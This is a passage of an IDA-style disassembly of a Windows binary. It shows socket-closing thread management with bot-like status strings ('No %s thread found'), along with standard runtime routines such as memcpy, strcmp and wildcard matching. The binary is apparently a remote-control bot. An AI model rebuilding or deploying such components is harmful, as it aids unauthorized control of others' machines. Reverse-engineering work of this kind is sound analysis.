retn sub_40FFB7 endp ; --------------------------------------------------------------------------- word_410022 dw 8B55h ; DATA XREF: seg000:0040DE84o dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h dd 6CE8EC75h, 83000002h, 6A14C4h, 0FBFF8FE8h, 5E5FF1FFh dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 42E0F868h dd 0C75FF00h, 0E80875FFh, 0FFFFE2D3h, 3314C483h, 56D8BEFFh dd 3E800043h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h dd 0FE00858Dh, 0B468FFFFh, 500042C5h, 446E8h, 8D016A00h dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFFE28Bh dd 8124C483h, 234C6h, 0FE814700h, 45EBC8h, 5E5FB07Ch ; --------------------------------------------------------------------------- leave retn ; =============== S U B R O U T I N E ======================================= sub_4100F2 proc near ; CODE XREF: seg000:0040D295p ; sub_410180+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_41017A cmp esi, 12Ch jge short loc_41017A imul esi, 234h push edi push ebx push ds:dword_4358EC[esi] lea edi, dword_4358EC[esi] call near ptr 3D0000h push edi cmp [edi], ebx jz short loc_41012A push 1 pop ebp loc_41012A: ; CODE XREF: sub_4100F2+33j mov [edi], ebx lea edi, dword_4358E0[esi] mov ds:dword_4358D8[esi], ebx mov ds:dword_4358DC[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_41014B push eax call sub_40F67C pop ecx loc_41014B: ; CODE XREF: sub_4100F2+50j mov [edi], ebx lea edi, dword_4358E4[esi] mov byte ptr ds:dword_4356D8[esi], bl mov ds:byte_4358F0[esi], bl push dword ptr [edi] call ds:dword_430828 ; closesocket lea esi, dword_4358E8[esi] mov [edi], ebx push dword ptr [esi] call ds:dword_430828 ; closesocket mov [esi], ebx pop edi loc_41017A: ; CODE XREF: sub_4100F2+Dj ; sub_4100F2+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_4100F2 endp ; =============== S U B R O U T I N E ======================================= sub_410180 proc near ; CODE XREF: seg000:loc_4070FDp ; sub_4089FD+18p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_4356D8 loc_41018C: ; CODE XREF: sub_410180+2Aj cmp byte ptr [esi], 0 jz short loc_41019D push edi call sub_4100F2 test eax, eax pop ecx jz short loc_41019D inc ebx loc_41019D: ; CODE XREF: sub_410180+Fj ; sub_410180+1Aj add esi, 234h inc edi cmp esi, offset dword_45EBC8 jl short loc_41018C pop edi mov eax, ebx pop esi pop ebx retn sub_410180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4101B2 proc near ; CODE XREF: sub_410245+1Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_4358DC loc_4101C6: ; CODE XREF: sub_4101B2+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_4101E8 test edi, edi jle short loc_4101DA cmp [esi], edi jz short loc_4101DA cmp ebx, edi jnz short loc_4101E8 loc_4101DA: ; CODE XREF: sub_4101B2+1Ej ; sub_4101B2+22j push ebx call sub_4100F2 test eax, eax pop ecx jz short loc_4101E8 inc [ebp+var_4] loc_4101E8: ; CODE XREF: sub_4101B2+1Aj ; sub_4101B2+26j ... add esi, 234h inc ebx cmp esi, offset dword_45EDCC jl short loc_4101C6 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_4101B2 endp ; =============== S U B R O U T I N E ======================================= sub_4101FF proc near ; CODE XREF: sub_404F83+Bp ; seg000:00405027p ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_4358D8 loc_410206: ; CODE XREF: sub_4101FF+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_41020F inc eax loc_41020F: ; CODE XREF: sub_4101FF+Dj add ecx, 234h cmp ecx, offset dword_45EDC8 jl short loc_410206 retn sub_4101FF endp ; =============== S U B R O U T I N E ======================================= sub_41021E proc near ; CODE XREF: seg000:0040D98Cp arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_4358D8 loc_410228: ; CODE XREF: sub_41021E+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_410241 add ecx, 234h inc edx cmp ecx, offset dword_45EDC8 jl short loc_410228 pop esi retn ; --------------------------------------------------------------------------- loc_410241: ; CODE XREF: sub_41021E+10j mov eax, edx pop esi retn sub_41021E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410245 proc near ; CODE XREF: seg000:0040E021p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_41025E push [ebp+arg_1C] call sub_410A7F pop ecx loc_41025E: ; CODE XREF: sub_410245+Ej push eax push [ebp+arg_18] call sub_4101B2 pop ecx test eax, eax pop ecx jle short loc_41028A push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"... push eax call sub_41050B add esp, 14h jmp short loc_4102A4 ; --------------------------------------------------------------------------- loc_41028A: ; CODE XREF: sub_410245+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s: No %s thread found." push eax call sub_41050B add esp, 10h loc_4102A4: ; CODE XREF: sub_410245+43j cmp [ebp+arg_C], 0 jnz short loc_4102C4 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40E367 add esp, 14h loc_4102C4: ; CODE XREF: sub_410245+63j lea eax, [ebp+var_200] push eax call sub_407E0E pop ecx leave retn sub_410245 endp ; =============== S U B R O U T I N E ======================================= sub_4102D3 proc near ; CODE XREF: start+A2p ; seg000:004014D4p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov ds:dword_4358EC[eax], ecx mov ds:dword_4358D8[eax], ecx mov ds:dword_4358DC[eax], ecx mov ds:dword_4358E0[eax], ecx mov ds:dword_4358E4[eax], ecx mov ds:dword_4358E8[eax], ecx mov byte ptr ds:dword_4356D8[eax], cl mov ds:byte_4358F0[eax], cl retn sub_4102D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410310 proc near ; CODE XREF: seg000:0040E1F3p ; sub_41043E+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_41031A: ; CODE XREF: sub_410310+68j mov cl, [esi] test cl, cl jz short loc_41037A cmp eax, 1 jnz short loc_41037A mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_41037A cmp cl, 2Ah jz short loc_410361 cmp cl, 3Fh jz short loc_410344 cmp cl, 5Bh jz short loc_410349 xor eax, eax cmp cl, dl setz al loc_410344: ; CODE XREF: sub_410310+26j inc [ebp+arg_4] jmp short loc_410374 ; --------------------------------------------------------------------------- loc_410349: ; CODE XREF: sub_410310+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_4103A6 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_410374 ; --------------------------------------------------------------------------- loc_410361: ; CODE XREF: sub_410310+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_41043E mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_410374: ; CODE XREF: sub_410310+37j ; sub_410310+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_41031A ; --------------------------------------------------------------------------- loc_41037A: ; CODE XREF: sub_410310+Ej ; sub_410310+13j ... cmp byte ptr [esi], 2Ah jnz short loc_41038A cmp eax, 1 jnz short loc_4103A1 inc esi mov [ebp+arg_0], esi jmp short loc_41037A ; --------------------------------------------------------------------------- loc_41038A: ; CODE XREF: sub_410310+6Dj cmp eax, 1 jnz short loc_4103A1 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_4103A1 cmp byte ptr [esi], 0 jnz short loc_4103A1 push 1 pop eax jmp short loc_4103A3 ; --------------------------------------------------------------------------- loc_4103A1: ; CODE XREF: sub_410310+72j ; sub_410310+7Dj ... xor eax, eax loc_4103A3: ; CODE XREF: sub_410310+8Fj pop esi pop ebp retn sub_410310 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103A6 proc near ; CODE XREF: sub_410310+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_4103C7 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_4103C7: ; CODE XREF: sub_4103A6+19j push ebx push esi loc_4103C9: ; CODE XREF: sub_4103A6+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_4103D7 cmp [ebp+var_4], eax jnz short loc_410423 loc_4103D7: ; CODE XREF: sub_4103A6+2Aj test edi, edi jnz short loc_410418 cmp bl, 2Dh jnz short loc_41040C mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_41040C cmp al, 5Dh jz short loc_41040C cmp [ebp+var_4], edi jnz short loc_41040C mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_410418 cmp bl, al jg short loc_410418 push 1 mov [edx], esi pop edi jmp short loc_410418 ; --------------------------------------------------------------------------- loc_41040C: ; CODE XREF: sub_4103A6+38j ; sub_4103A6+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_410418 push 1 pop edi loc_410418: ; CODE XREF: sub_4103A6+33j ; sub_4103A6+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_4103C9 ; --------------------------------------------------------------------------- loc_410423: ; CODE XREF: sub_4103A6+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_410430 mov ecx, eax sub ecx, edi mov edi, ecx loc_410430: ; CODE XREF: sub_4103A6+82j cmp edi, eax jnz short loc_410439 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_410439: ; CODE XREF: sub_4103A6+8Cj mov eax, edi pop edi leave retn sub_4103A6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41043E proc near ; CODE XREF: sub_410310+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_41045A: ; CODE XREF: sub_41043E+3Aj cmp [eax], bl jz short loc_41047A mov cl, [ecx] cmp cl, 3Fh jz short loc_41046F cmp cl, 2Ah jnz short loc_41047A cmp cl, 3Fh jnz short loc_410472 loc_41046F: ; CODE XREF: sub_41043E+25j inc eax mov [edi], eax loc_410472: ; CODE XREF: sub_41043E+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_41045A ; --------------------------------------------------------------------------- loc_41047A: ; CODE XREF: sub_41043E+1Ej ; sub_41043E+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_410485 inc dword ptr [esi] jmp short loc_41047A ; --------------------------------------------------------------------------- loc_410485: ; CODE XREF: sub_41043E+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_4104A6 mov edx, [esi] cmp [edx], bl jz short loc_410497 xor eax, eax jmp short loc_410506 ; --------------------------------------------------------------------------- loc_410497: ; CODE XREF: sub_41043E+53j cmp cl, bl jnz short loc_4104A6 mov ecx, [esi] cmp [ecx], bl jnz short loc_4104A6 push 1 pop eax jmp short loc_410506 ; --------------------------------------------------------------------------- loc_4104A6: ; CODE XREF: sub_41043E+4Dj ; sub_41043E+5Bj ... push eax push dword ptr [esi] call sub_410310 pop ecx test eax, eax pop ecx jnz short loc_4104F0 loc_4104B4: ; CODE XREF: sub_41043E+B0j inc dword ptr [edi] mov eax, [edi] loc_4104B8: ; CODE XREF: sub_41043E+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_4104D0 cmp cl, 5Bh jz short loc_4104D0 cmp dl, bl jz short loc_4104D0 inc eax mov [edi], eax jmp short loc_4104B8 ; --------------------------------------------------------------------------- loc_4104D0: ; CODE XREF: sub_41043E+82j ; sub_41043E+87j ... mov eax, [edi] cmp [eax], bl jz short loc_4104E7 push eax push dword ptr [esi] call sub_410310 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_4104EC ; --------------------------------------------------------------------------- loc_4104E7: ; CODE XREF: sub_41043E+96j mov [ebp+var_4], ebx xor eax, eax loc_4104EC: ; CODE XREF: sub_41043E+A7j cmp eax, ebx jnz short loc_4104B4 loc_4104F0: ; CODE XREF: sub_41043E+74j mov eax, [edi] cmp [eax], bl jnz short loc_410503 mov eax, [esi] cmp [eax], bl jnz short loc_410503 mov [ebp+var_4], 1 loc_410503: ; CODE XREF: sub_41043E+B6j ; sub_41043E+BCj mov eax, [ebp+var_4] loc_410506: ; CODE XREF: sub_41043E+57j ; sub_41043E+66j pop edi pop esi pop ebx leave retn sub_41043E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41050B proc near ; CODE XREF: start+61p ; seg000:00401496p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_412C3C add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41054B mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_410558 ; --------------------------------------------------------------------------- loc_41054B: ; CODE XREF: sub_41050B+36j lea eax, [ebp+var_20] push eax push 0 call sub_412B27 pop ecx pop ecx loc_410558: ; CODE XREF: sub_41050B+3Ej mov eax, esi pop esi leave retn sub_41050B endp ; =============== S U B R O U T I N E ======================================= sub_41055D proc near ; CODE XREF: start+2Ep ; seg000:00401C1Cp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ds:dword_42E148, eax retn sub_41055D endp ; =============== S U B R O U T I N E ======================================= sub_410567 proc near ; CODE XREF: seg000:0040117Dp ; seg000:004011F1p ... mov eax, ds:dword_42E148 imul eax, 343FDh add eax, 269EC3h mov ds:dword_42E148, eax sar eax, 10h and eax, 7FFFh retn sub_410567 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_410590 proc near ; CODE XREF: seg000:0040194Fp ; seg000:00401AC7p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_4105E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_4105D7 neg ecx and ecx, 3 jz short loc_4105B9 sub edx, ecx loc_4105B3: ; CODE XREF: sub_410590+27j mov [edi], al inc edi dec ecx jnz short loc_4105B3 loc_4105B9: ; CODE XREF: sub_410590+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_4105D7 rep stosd test edx, edx jz short loc_4105DD loc_4105D7: ; CODE XREF: sub_410590+18j ; sub_410590+3Fj ... mov [edi], al inc edi dec edx jnz short loc_4105D7 loc_4105DD: ; CODE XREF: sub_410590+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_4105E3: ; CODE XREF: sub_410590+Aj mov eax, [esp+arg_0] retn sub_410590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105F0 proc near ; CODE XREF: seg000:00401A73p ; seg000:00401A84p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_410610 cmp edi, eax jb loc_410788 loc_410610: ; CODE XREF: sub_4105F0+16j test edi, 3 jnz short loc_41062C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41064C rep movsd jmp ds:off_410738[edx*4] ; --------------------------------------------------------------------------- loc_41062C: ; CODE XREF: sub_4105F0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_410644 and eax, 3 add ecx, eax jmp dword ptr ds:loc_41064C+4[eax*4] ; --------------------------------------------------------------------------- loc_410644: ; CODE XREF: sub_4105F0+46j jmp dword ptr ds:loc_410748[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41064C: ; CODE XREF: sub_4105F0+31j ; sub_4105F0+8Ej ... jmp ds:off_4106CC[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_410660 dd offset loc_41068C dd offset loc_4106B0 ; --------------------------------------------------------------------------- loc_410660: ; DATA XREF: sub_4105F0+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41064C rep movsd jmp ds:off_410738[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41068C: ; DATA XREF: sub_4105F0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41064C rep movsd jmp ds:off_410738[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4106B0: ; DATA XREF: sub_4105F0+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41064C rep movsd jmp ds:off_410738[edx*4] ; --------------------------------------------------------------------------- align 4 off_4106CC dd offset loc_41072F ; DATA XREF: sub_4105F0:loc_41064Cr dd offset loc_41071C dd offset loc_410714 dd offset loc_41070C dd offset loc_410704 dd offset loc_4106FC dd offset loc_4106F4 dd offset loc_4106EC ; --------------------------------------------------------------------------- loc_4106EC: ; CODE XREF: sub_4105F0:loc_41064Cj ; DATA XREF: sub_4105F0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4106F4: ; CODE XREF: sub_4105F0:loc_41064Cj ; DATA XREF: sub_4105F0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4106FC: ; CODE XREF: sub_4105F0:loc_41064Cj ; DATA XREF: sub_4105F0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_410704: ; CODE XREF: sub_4105F0:loc_41064Cj ; DATA XREF: sub_4105F0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41070C: ; CODE XREF: sub_4105F0:loc_41064Cj ; DATA XREF: sub_4105F0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_410714: ; CODE XREF: sub_4105F0:loc_41064Cj ; DATA XREF: sub_4105F0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41071C: ; CODE XREF: sub_4105F0:loc_41064Cj ; DATA XREF: sub_4105F0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_41072F: ; CODE XREF: sub_4105F0:loc_41064Cj ; DATA XREF: sub_4105F0:off_4106CCo jmp ds:off_410738[edx*4] ; --------------------------------------------------------------------------- align 4 off_410738 dd offset loc_410748 ; DATA XREF: sub_4105F0+35r ; sub_4105F0+92r ... dd offset loc_410750 dd offset loc_41075C dd offset loc_410770 ; --------------------------------------------------------------------------- loc_410748: ; CODE XREF: sub_4105F0+35j ; sub_4105F0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_410750: ; CODE XREF: sub_4105F0+35j ; sub_4105F0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41075C: ; CODE XREF: sub_4105F0+35j ; sub_4105F0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_410770: ; CODE XREF: sub_4105F0+35j ; sub_4105F0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_410788: ; CODE XREF: sub_4105F0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_4107BC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4107B0 std rep movsd cld jmp ds:off_4108D0[edx*4] ; --------------------------------------------------------------------------- align 10h loc_4107B0: ; CODE XREF: sub_4105F0+1B1j ; sub_4105F0+208j ... neg ecx jmp dword ptr ds:loc_41087F+1[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4107BC: ; CODE XREF: sub_4105F0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4107D4 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_4107D4+4[eax*4] ; --------------------------------------------------------------------------- loc_4107D4: ; CODE XREF: sub_4105F0+1D6j ; DATA XREF: sub_4105F0+1DDr jmp ds:off_4108D0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4107E8 ; --------------------------------------------------------------------------- or [eax], cl inc ecx add [eax], dh or [ecx+0], al loc_4107E8: ; DATA XREF: sub_4105F0+1ECo mov al, [esi+3] and edx, ecx mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_4107B0 std rep movsd cld jmp ds:off_4108D0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_4107B0 std rep movsd cld jmp ds:off_4108D0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_4107B0 std rep movsd cld jmp ds:off_4108D0[edx*4] ; --------------------------------------------------------------------------- align 4 test [eax], cl inc ecx add [eax+ecx+8940041h], cl inc ecx add [eax+ecx+8A40041h], bl inc ecx add [eax+ecx+8B40041h], ch inc ecx loc_41087F: ; DATA XREF: sub_4105F0+1C2r add bh, al or [ecx+0], al mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4108C7: ; CODE XREF: sub_4105F0+1C2j jmp ds:off_4108D0[edx*4] ; --------------------------------------------------------------------------- align 10h off_4108D0 dd offset loc_4108E0 ; DATA XREF: sub_4105F0+1B7r ; sub_4105F0:loc_4107D4r ... dd offset loc_4108E8 dd offset loc_4108F8 dd offset loc_41090C ; --------------------------------------------------------------------------- loc_4108E0: ; CODE XREF: sub_4105F0+1B7j ; sub_4105F0:loc_4107D4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4108E8: ; CODE XREF: sub_4105F0+1B7j ; sub_4105F0:loc_4107D4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4108F8: ; CODE XREF: sub_4105F0+1B7j ; sub_4105F0:loc_4107D4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41090C: ; CODE XREF: sub_4105F0+1B7j ; sub_4105F0:loc_4107D4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4105F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_410930 proc near ; CODE XREF: seg000:004011AEp ; seg000:004011CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41097C loc_410940: ; CODE XREF: sub_410930+3Cj ; sub_410930+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_410974 or al, al jz short loc_410970 cmp ah, [ecx+1] jnz short loc_410974 or ah, ah jz short loc_410970 shr eax, 10h cmp al, [ecx+2] jnz short loc_410974 or al, al jz short loc_410970 cmp ah, [ecx+3] jnz short loc_410974 add ecx, 4 add edx, 4 or ah, ah jnz short loc_410940 mov edi, edi loc_410970: ; CODE XREF: sub_410930+18j ; sub_410930+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_410974: ; CODE XREF: sub_410930+14j ; sub_410930+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41097C: ; CODE XREF: sub_410930+Ej test edx, 1 jz short loc_410998 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_410974 inc ecx or al, al jz short loc_410970 test edx, 2 jz short loc_410940 loc_410998: ; CODE XREF: sub_410930+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_410974 or al, al jz short loc_410970 cmp ah, [ecx+1] jnz short loc_410974 or ah, ah jz short loc_410970 add ecx, 2 jmp short loc_410940 sub_410930 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4109C0 proc near ; CODE XREF: seg000:004019E5p ; sub_41578D+7F8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_4] mov ecx, [esp+arg_C] or ecx, eax mov ecx, [esp+arg_8] jnz short loc_4109D9 mov eax, [esp+arg_0] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_4109D9: ; CODE XREF: sub_4109C0+Ej push ebx mul ecx mov ebx, eax mov eax, [esp+4+arg_0] mul [esp+4+arg_C] add ebx, eax mov eax, [esp+4+arg_0] mul ecx add edx, ebx pop ebx retn 10h sub_4109C0 endp ; =============== S U B R O U T I N E ======================================= sub_4109F4 proc near ; CODE XREF: sub_410A7F+4p ; seg000:00418D24p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_4109FC: ; CODE XREF: sub_4109F4+34j cmp ds:dword_42E39C, 1 jle short loc_410A14 movzx eax, byte ptr [edi] push 8 push eax call sub_413446 pop ecx pop ecx jmp short loc_410A23 ; --------------------------------------------------------------------------- loc_410A14: ; CODE XREF: sub_4109F4+Fj movzx eax, byte ptr [edi] mov ecx, ds:off_42E190 mov al, [ecx+eax*2] and eax, 8 loc_410A23: ; CODE XREF: sub_4109F4+1Ej test eax, eax jz short loc_410A2A inc edi jmp short loc_4109FC ; --------------------------------------------------------------------------- loc_410A2A: ; CODE XREF: sub_4109F4+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_410A3A cmp esi, 2Bh jnz short loc_410A3E loc_410A3A: ; CODE XREF: sub_4109F4+3Fj movzx esi, byte ptr [edi] inc edi loc_410A3E: ; CODE XREF: sub_4109F4+44j xor ebx, ebx loc_410A40: ; CODE XREF: sub_4109F4+7Bj cmp ds:dword_42E39C, 1 jle short loc_410A55 push 4 push esi call sub_413446 pop ecx pop ecx jmp short loc_410A60 ; --------------------------------------------------------------------------- loc_410A55: ; CODE XREF: sub_4109F4+53j mov eax, ds:off_42E190 mov al, [eax+esi*2] and eax, 4 loc_410A60: ; CODE XREF: sub_4109F4+5Fj test eax, eax jz short loc_410A71 